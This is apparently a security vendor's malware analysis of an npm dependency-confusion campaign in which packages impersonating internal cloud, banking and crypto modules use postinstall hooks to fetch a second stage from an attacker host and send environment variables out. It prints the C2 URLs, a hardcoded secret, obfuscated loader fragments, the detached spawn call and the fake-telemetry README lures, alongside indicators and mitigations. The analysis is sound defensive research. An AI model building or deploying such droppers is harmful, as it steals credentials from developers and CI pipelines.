---
title: "183 npm Packages Target Cloud and Finance via oob.moika.tech"
description: "Two npm accounts published 164 malicious packages at version 99.99.99 targeting a cloud platform and a financial institution. Both campaigns share identical payload code, the same C2 endpoint, and the same hardcoded secret — strong evidence of a single actor. Updated June 1 with a fourth account (emcd-vue, 3+ packages) impersonating the EMCD crypto exchange, now with WaCk/JScrambler obfuscation, home-directory persistence, and a FUSION_ second-stage protocol."
url: "https://safedep.io/blog/oob-moika-tech-dependency-confusion-campaign"
author: "SafeDep Team"
published: "2026-05-28"
---

# 183 npm Packages Target Cloud and Finance via oob.moika.tech

## TL;DR

On May 27, 2026, two npm accounts published 164 (as of June 1, 183) malicious packages across five scoped namespaces targeting what appear to be a cloud platform provider and a financial services company. Every package is version `99.99.99` and carries a `postinstall` payload that downloads a second-stage script, spawns it as a detached process, and sends the victim's full environment variables to `hxxps://oob[.]moika[.]tech/report`.

> **Update (May 29, 2026):** A third npm account, `t-in-one` (`nath.dr4k3@gmail.com`), published 12 more packages across three new scopes (`@t-in-one`, `@capibar.chat`, `@sber-ecom-core`) reusing the same C2 host and the **same hardcoded `X-Secret`** value. One member, `@sber-ecom-core/sberpay-widget`, impersonates Sberbank's payment widget. Unlike the May 27 wave, this batch ships a three-layer-obfuscated payload and a functional install-time kill switch. Details in the [Update section](#update-third-account-and-an-obfuscated-variant).

> **Update (June 1, 2026):** A fourth npm account, `emcd-vue` (`emcd-vue@proton.me`), published at least 3 packages across the `@emcd-vue` scope, impersonating EMCD (`emcd.io`), a real Russian cryptocurrency mining pool and exchange. The same `X-Secret` value ties this wave to the prior three accounts. This is the campaign's most technically advanced wave: WaCk/JScrambler obfuscation (811-element string array, custom base64 alphabet), payload written to `~/.emcd-vue_init.js` in the home directory (not temp), a structured FUSION\_ env-var handshake to the second stage, and a README kill switch deliberately mismatched from the one in code. Details in the [EMCD Update section](#update-fourth-account-emcd-crypto-impersonation-june-1-2026).

**Impact:**

- Full `process.env` exfiltration on install: API keys, tokens, secrets, and any credentials present in the developer or CI environment
- Second-stage payload executes as a detached process and persists after `npm install` exits
- Targets cloud platform and financial services namespaces — any developer or CI pipeline resolving packages from the public registry is at risk if scopes are not locked to a private registry

**Indicators of Compromise:**

- npm accounts: `mr.4nd3r50n`, `pik-libs`, `t-in-one` (third account, May 29; email `nath.dr4k3@gmail.com`), `emcd-vue` (fourth account, June 1; email `emcd-vue@proton.me`)
- C2 report endpoint: `hxxps://oob[.]moika[.]tech/report`
- Second-stage payload: `hxxps://oob[.]moika[.]tech/payload/{mac|win|linux}.js`
- Shared secret: `l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1` (sent as `X-Secret` HTTP header, identical across all three accounts)
- Temp file created: `._cloudplatform-single-spa_init.js` (May 27 wave) and `._t-in-one_init.js` (May 29 wave) in OS temp directory; run-once marker dir `~/.cache/._t-in-one_init/`
- Install-time kill switch env var: `T_IN_ONE_NO_TELEMETRY` (May 29 wave)
- Home-dir payload: `~/.emcd-vue_init.js` (June 1 wave — written to home directory, not temp); home-dir cache `~/.emcd-vue_init/`
- Kill switch env var: `EMCD_VUE_NO_TELEMETRY` (June 1 wave, functional in code; README advertises `EMCD_VUE_8D440FE1_NO_TEL` which is non-functional by design)
- Internal-registry lure: `npm.t-in-one.io`
- Version `99.99.99` in any of the five May 27 scopes; versions `5.7.1`, `99.5.7`, `99.5.8` in `@t-in-one`, `@capibar.chat`, `@sber-ecom-core`

## The Campaign

SafeDep detected both publish events on May 27, 2026. Account `mr.4nd3r50n` began at 21:15 UTC, publishing 139 packages across two scopes. Account `pik-libs` followed 22 minutes later at 21:37 UTC, publishing 25 packages across three scopes. The 22-minute gap, identical payload code, and shared hardcoded secret all point to one actor operating both accounts.

### Targeted Scopes

| Account       | Scope                       | Packages | Target profile                        |
| ------------- | --------------------------- | -------- | ------------------------------------- |
| `mr.4nd3r50n` | `@cloudplatform-single-spa` | 122      | Cloud platform micro-frontend modules |
| `mr.4nd3r50n` | `@mlspace`                  | 17       | ML platform / AI workspace modules    |
| `pik-libs`    | `@car-loans`                | 19       | Car loan application micro-frontends  |
| `pik-libs`    | `@fb-deposit`               | 4        | Banking deposit form modules          |
| `pik-libs`    | `@debit-ib`                 | 2        | Debit and internet banking forms      |

The package names are not generic squats. They mirror specific internal service names: `@cloudplatform-single-spa/certificate-manager`, `@cloudplatform-single-spa/vpn`, `@cloudplatform-single-spa/ml-inference`, `@mlspace/experiments-monitoring`, `@car-loans/mobile-car-loans-application`, `@fb-deposit/form-deposit-auth`. The specificity (billing, VPN, Kubernetes, ML inference, IAM, loan flows, deposit forms, debit card applications) indicates the actor profiled each organization's internal package ecosystem before publishing.

All packages carry the same fabricated description: `"Internal configuration loader with env, vault and remote config support"`.

### The Bug Bounty Marker

Two packages from `mr.4nd3r50n` — `@cloudplatform-single-spa/logaas` and `@mlspace/model-registry` — carry no active payload. Their description reads `"BugBounty testing by mr4nd3r50n"`. This pattern, placing inert probe packages alongside active stealers, appears in other campaigns where the actor tests whether internal names resolve to the public registry before deploying the payload. Whatever the intent, the remaining 162 packages executed real credential-stealing code on install.

## Payload Analysis

### Package Impersonation

The README for each package is crafted to pass casual inspection. Both samples follow an identical template — the package name, scope, and domain are swapped but the structure is verbatim:

```
Internal package — Platform Engineering Team
Docs: https://docs.car-loans.io/platform/application-aff
Issues: https://jira.car-loans.io/projects/PLATFORM

Internal configuration loader with env, vault and remote config support

Installation
# Make sure .npmrc points to the internal registry:
# registry=https://npm.car-loans.io
```

The fabricated docs and Jira URLs (`docs.car-loans.io`, `jira.car-loans.io`) mirror what real internal tooling at these organizations looks like. The `.npmrc` comment does the most work: it tells developers to point to a private registry (the correct security practice), making the package read as a legitimate internal artifact already published to the right place.

The README also includes a fake version history showing `2.0.0` and `2.1.0` entries with plausible changelogs. The malicious `99.99.99` is listed simply as "Added ARM64 support / Improved error handling / Updated TypeScript types."

### The Telemetry Cover Story

The most deliberate social engineering in these packages is the "telemetry" framing:

```
Telemetry
On install, this package sends anonymous telemetry to telemetry.car-loans.io
for environment compatibility monitoring.

Disable: CAR_LOANS_NO_TELEMETRY=1 npm install
```

The cloud platform scope uses `telemetry.cloudplatform-single-spa.io` and `CLOUDPLATFORM_SINGLE_SPA_NO_TELEMETRY=1`. A developer who notices the outbound POST during install reads it as authorized internal telemetry. A security reviewer scanning for red flags finds a disclosure and an opt-out, both hallmarks of legitimate telemetry practice. The actual exfiltration goes to `hxxps://oob[.]moika[.]tech/report`, not the telemetry domain in the README, but the framing preempts suspicion before anyone looks that closely.

### Execution Trigger

All active packages declare the payload through npm's `postinstall` lifecycle hook in `package.json`:



The hook runs `scripts/postinstall.js` immediately after `npm install` completes, before control returns to the developer or CI runner.

### Postinstall Flow

The payload executes in six steps:

1. **Delay** — pauses for 3 seconds to evade automated sandboxes that time out short-lived processes
2. **OS detection** — identifies the platform as `mac`, `win`, or `linux`
3. **Second-stage download** — fetches `hxxps://oob[.]moika[.]tech/payload/{mac|win|linux}.js` and writes it to the OS temp directory as `._cloudplatform-single-spa_init.js`
4. **Detached spawn** — launches the downloaded script as a separate Node.js process with `detached: true`, so it continues running after `npm install` exits
5. **Exfiltration** — POSTs to `hxxps://oob[.]moika[.]tech/report` with the full contents of `process.env` plus hostname, username, platform, architecture, current working directory, and Node.js version
6. **Fallback beacon** — if the second-stage download fails, sends the same system data directly without the second stage



### Infrastructure Constants

Three values are hardcoded across all 162 active packages:

```
CALLBACK_URL = https://oob.moika.tech/report
PAYLOAD_BASE = https://oob.moika.tech/payload
SECRET       = l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1
```

The `SECRET` value is sent as an `X-Secret` header on every outbound request. Its presence across both `mr.4nd3r50n` and `pik-libs` packages, spanning two organizations and two publishing sessions, is the clearest indicator that both campaigns share a single author.

### What Gets Exfiltrated

`process.env` on a developer workstation or CI runner typically holds `NPM_TOKEN`, `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, database URLs, and any other credentials injected as environment variables. The payload sends the raw environment object with no key filtering. On a CI pipeline, this is effectively the full set of deployment secrets.

The 3-second delay and detached spawn mean credential theft and second-stage execution finish whether or not the developer notices the pause.

## Scale and Comparison

164 packages across five namespaces in under 25 minutes. The [sl4x0 campaign](https://safedep.io/blog/sl4x0-dependency-confusion-campaign) took nine months to publish 92 packages against 20-plus organizations. The [Genoma UI campaign](https://safedep.io/blog/malicious-genoma-ui-npm-dependency-confusion-campaign) used three packages in April 2026.

Two things separate this campaign from most dependency confusion probes.

Most probes send DNS beacons with hostname and username — enough to confirm a hit, not enough to do damage. This payload sends raw `process.env`. An npm install on a CI runner with active cloud credentials is a full credential compromise.

Fetching a second stage at runtime keeps the initial package small and defers the actual capability. A registry scanner or developer reviewing the tarball sees the first stage only, and misses the real behavior. The [Burp Collaborator dependency confusion technique](https://safedep.io/blog/burp-collaborator-for-dependency-confusion-attack) Snyk researchers used in 2025 was single-stage; this campaign separates probe from execution.

## Update: Third Account and an Obfuscated Variant

On May 29, 2026, a third npm account, `t-in-one`, published 12 more packages across three new scopes. The account email is `nath.dr4k3@gmail.com`. The registry metadata confirms the burst: the ten `@t-in-one` packages were published between `2026-05-29T09:01:56Z` and `09:02:39Z`, with the `@capibar.chat` and `@sber-ecom-core` republishes following minutes later.

| Scope             | Packages | Version  | Notes                                            |
| ----------------- | -------- | -------- | ------------------------------------------------ |
| `@t-in-one`       | 10       | `5.7.1`  | Credential/token-themed names (see below)        |
| `@capibar.chat`   | 1        | `99.5.7` | `ui-kit` (dependency confusion)                  |
| `@sber-ecom-core` | 1        | `99.5.8` | `sberpay-widget`, impersonates Sberbank's widget |

The ten `@t-in-one` package names are deliberately credential and token themed so they read as internal auth modules: `add_application`, `add_app_middleware_token`, `get_application_hid`, `form_product_token`, `application_id_storage_key_token`, `only_difference_payload`, `prefill_credit_data_token`, `prefill_bundle_data_token`, `add_application_tid`, and `add_application_service_token`.

### Same actor, confirmed by the secret

The link to the May 27 campaign is not circumstantial. Every package in this wave carries the same `postinstall` hook, reports to the same `oob.moika.tech` host, and authenticates with the **same hardcoded secret** `l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1`. That value had previously appeared only across the `mr.4nd3r50n` and `pik-libs` accounts. Its reuse on a third account ties all three to one operator.

The `@t-in-one` README reuses the campaign's social-engineering template verbatim, pointing developers at a fabricated internal registry:

```
# package/README.md
> Internal package — Platform Engineering Team
> Docs: https://docs.t-in-one.io/platform/add_application
> Issues: https://jira.t-in-one.io/projects/PLATFORM

# Make sure .npmrc points to the internal registry:
# registry=https://npm.t-in-one.io
```

### The Sberbank target

`@sber-ecom-core/sberpay-widget@99.5.8` is a textbook dependency confusion artifact aimed at a real bank: the scope and package name impersonate Sberbank's internal SberPay payment widget. The May 27 campaign already carried a Russian-market signal (`@cloudplatform-single-spa/marketplace-gigachat`, named for Sber's GigaChat LLM); this wave makes the financial-sector targeting explicit. Both `@capibar.chat/ui-kit` and `@sber-ecom-core/sberpay-widget` also carry earlier `99.0.7` versions published `2026-05-04`, indicating the actor pre-staged these scopes weeks before the May 27 and May 29 bursts.

### Three-layer obfuscation

Unlike the May 27 wave, where the C2 host, payload base, and secret sat in cleartext, this variant ships an obfuscated `scripts/postinstall.js` (about 13 KB). It is three layers: [obfuscator.io](https://obfuscator.io/) output, a custom base64 alphabet, and an integer-shuffle string table. The string-table decoder is the standard obfuscator.io pattern:

```javascript
// package/scripts/postinstall.js
'use strict';const a0_0x861202=a0_0x8d15;(function(_0x55b320,_0x2ab1fe){const _0x89f4a3=a0_0x8d15,_0x2aba03=_0x55b320();while(!![]){try{const _0x3ec915=-parseInt(_0x89f4a3(0xfc))/...
```

The string table holds base64-encoded tokens (for example `Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9...`) that decode through the custom alphabet at runtime, alongside the giveaway primitives `fromCharCode`, `Buffer`, `spawn`, and a dynamic `require()`. Recovering the strings by static alphabet remapping reproduces the same `oob.moika.tech/report`, `oob.moika.tech/payload/{mac,linux,win}`, and `X-Secret` constants the earlier wave used in cleartext. The obfuscation maps to SafeDep YARA rules `dynamic_require_double_obscured` (critical), `js_char_code_at_substitution`, and `js_hex_obfuscation`. We did not execute the decoder; the recovered behavior matches the documented campaign infrastructure and the live registry metadata.

### Functional kill switch and run-once de-duplication

The May 27 wave's "telemetry opt-out" env vars were README fiction, never checked in code. This wave adds operational controls that are real: a `T_IN_ONE_NO_TELEMETRY` kill switch the payload honors, and a run-once guard using a marker directory at `~/.cache/._t-in-one_init/` so a host is only hit once. The downloaded second stage is written to `<tmpdir>/._t-in-one_init.js` (the same `._<scope>_init.js` naming pattern as the May 27 `._cloudplatform-single-spa_init.js`) and launched with `spawn(process.execPath, ..., { detached: true, stdio: 'ignore' }).unref()`, so it survives `npm install` exit and leaves no console output.

## Update: Fourth Account — EMCD Crypto Impersonation (June 1, 2026)

On June 1, 2026, a fourth npm account, `emcd-vue` (`emcd-vue@proton.me`), published at least 3 packages — with the operator's own statement suggesting 4 — across the `@emcd-vue` scope. The confirmed packages are `@emcd-vue/auth` (versions `6.4.8` and `6.4.9`), `@emcd-vue/loans` (`7.1.7`), and `@emcd-vue/b2b-pay-form` (version not fully documented). The account presents itself as "Emcd-Vue Platform Engineering" with a fake domain `emcd-vue.io` and a fake GitHub subdomain URL in the repository field (`git+https://github.emcd-vue.io/platform/auth.git`).

EMCD (`emcd.io`) is a real Russian cryptocurrency mining pool and exchange. This continues the campaign's consistent targeting of the Russian financial and technology sector — GigaChat (Sberbank LLM) in Wave 1, SberPay in Wave 2, and now a crypto exchange in Wave 3.

### Same actor, confirmed by the secret

The X-Secret header `l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1` appears unchanged in every Wave 3 package — the same value as Waves 1 and 2. `@emcd-vue/auth@6.4.8` was published at `07:04:12Z`; `@emcd-vue/loans@7.1.7` followed 91 seconds later at `07:05:43Z`. The burst pattern is consistent with prior waves.

### WaCk/JScrambler obfuscation — most advanced in the campaign

The `6.4.8` dropper is 137.5 KB single-line with an entropy of 5.04, characteristic of WaCk/JScrambler output. The `6.4.9` re-publish (13.3 KB) applies the same obfuscation more lightly, which enabled static recovery of the full execution flow without running the code.

The obfuscation uses an 811-element string array (`a0c()`) backed by a custom lowercase-first base64 alphabet, integer arithmetic to compute array indices at runtime, 5-argument helper proxy functions, and an anti-debug self-checking loop. It is a step beyond the obfuscator.io + custom-alphabet layers used in Wave 2.

### Execution flow (decoded from 6.4.9)

1. Check `process.env['EMCD_VUE_NO_TELEMETRY']` — exit immediately if set (the actual kill switch)
2. Verify Node.js >= 16.0
3. Walk the directory tree upward to locate the project root (`package.json`, `yarn.lock`, `pnpm-workspace.yaml`)
4. Compute a deduplication key: `hash(package_name + hostname + project_root)`
5. Check `~/.emcd-vue_init/<key>.json` for a cache entry — skip if present and not expired
6. Write the cache entry
7. Detect platform: `linux` → `linux-x64`, `darwin` → `darwin-arm64`, else `win`
8. Apply a randomized millisecond delay (anti-sandbox)
9. Fetch `https://oob.moika.tech/payload/{platform}` with `X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1` and `User-Agent: emcd-vue-telemetry/1.0`
10. Write the payload to **`~/.emcd-vue_init.js`** in the home directory — not the OS temp directory
11. Spawn: `spawn(process.execPath, ['~/.emcd-vue_init.js'], { env: {...process.env, FUSION_RECON_ONLY: '1', FUSION_DEP_CON: ..., FUSION_PKG: '@emcd-vue/auth', FUSION_VER: '6.4.9', FUSION_SECRET: ..., FUSION_PAYLOAD: ...}, detached: true, stdio: 'ignore', windowsHide: true }).unref()`
12. Report the installation to `https://oob.moika.tech/report`
13. Silently swallow all exceptions

Three changes from earlier waves stand out.

**Home-directory persistence.** Waves 1 and 2 wrote the second-stage dropper to the OS temp directory. Wave 3 writes it to `~/.emcd-vue_init.js`, a dot-hidden file in the user's home directory. Temp directories are commonly cleared; the home directory is not.

**FUSION\_ second-stage protocol.** The spawned second stage receives six environment variables: `FUSION_RECON_ONLY`, `FUSION_DEP_CON`, `FUSION_PKG`, `FUSION_VER`, `FUSION_SECRET`, and `FUSION_PAYLOAD`. This is a structured capability handshake — the operator can tell the second stage to run in reconnaissance-only mode (`FUSION_RECON_ONLY=1`) without modifying the first-stage dropper. Prior waves had no equivalent protocol.

**Architecture-qualified platform strings.** Prior waves used `mac.js`, `win.js`, `linux.js` as payload URL suffixes. Wave 3 uses `darwin-arm64`, `linux-x64`, and `win` — architecture-qualified identifiers consistent with a second-stage that loads native or architecture-specific code.

### Plausible version numbers

`@emcd-vue/auth` starts at `6.4.8`, with `6.4.9` following 22 minutes later. `@emcd-vue/loans` is at `7.1.7`. These version numbers look like genuine project releases from a mature codebase. Version anomaly heuristics that catch `99.99.99` or `5.7.1` will not flag these. The package jumped directly to `6.4.8` with no prior version history, which remains a signal — but a weaker one than triple-nines.

### Deliberately mismatched README kill switch

The package README advertises `EMCD_VUE_8D440FE1_NO_TEL=1` as the opt-out environment variable. The code checks `EMCD_VUE_NO_TELEMETRY`. These are different strings. Setting the README variable does nothing; only the code variable works. This means a developer who reads the README and sets the opt-out is still exfiltrated. The mismatch is not an accident — the `8D440FE1` hex fragment indicates deliberate construction. This is the same social-engineering-via-README pattern as Waves 1 and 2, but with an added layer: the opt-out itself is a decoy.

## Mitigations

1. Lock all nine targeted scopes (`@cloudplatform-single-spa`, `@mlspace`, `@car-loans`, `@fb-deposit`, `@debit-ib`, `@t-in-one`, `@capibar.chat`, `@sber-ecom-core`, `@emcd-vue`) to a private registry in `.npmrc`. Without a scope-locked registry, npm will resolve to the public version when the private one is unavailable.
2. Rotate any secrets that were present in `process.env` on systems that installed any flagged version from these scopes (`99.99.99` for the May 27 scopes; `5.7.1`, `99.5.7`, `99.5.8`, and the pre-staged `99.0.7` for the May 29 scopes; `6.4.8`, `6.4.9` for `@emcd-vue/auth` and `7.1.7` for `@emcd-vue/loans` from the June 1 wave).
3. Search process lists and the OS temp directory for `._cloudplatform-single-spa_init.js` and `._t-in-one_init.js`, and for the marker directory `~/.cache/._t-in-one_init/`. For the June 1 wave, check the home directory for `~/.emcd-vue_init.js` and the cache directory `~/.emcd-vue_init/`. Check network logs for outbound connections to `oob.moika.tech`.
4. Run [`vet`](https://github.com/safedep/vet) against your lockfiles to surface malicious packages before the next install cycle.

## Affected Packages

All packages are searchable below, including the 12 added in the May 29 wave (npm user `t-in-one`) and the 4 added in the June 1 wave (npm user `emcd-vue`, `@emcd-vue` scope). The `has_postinstall_payload` column identifies the two inert probe packages (`no`) versus the active stealers (`yes`).

[oob-moika-tech-packages.csv](https://safedep.io/data/blogs/oob-moika-tech-packages.csv)
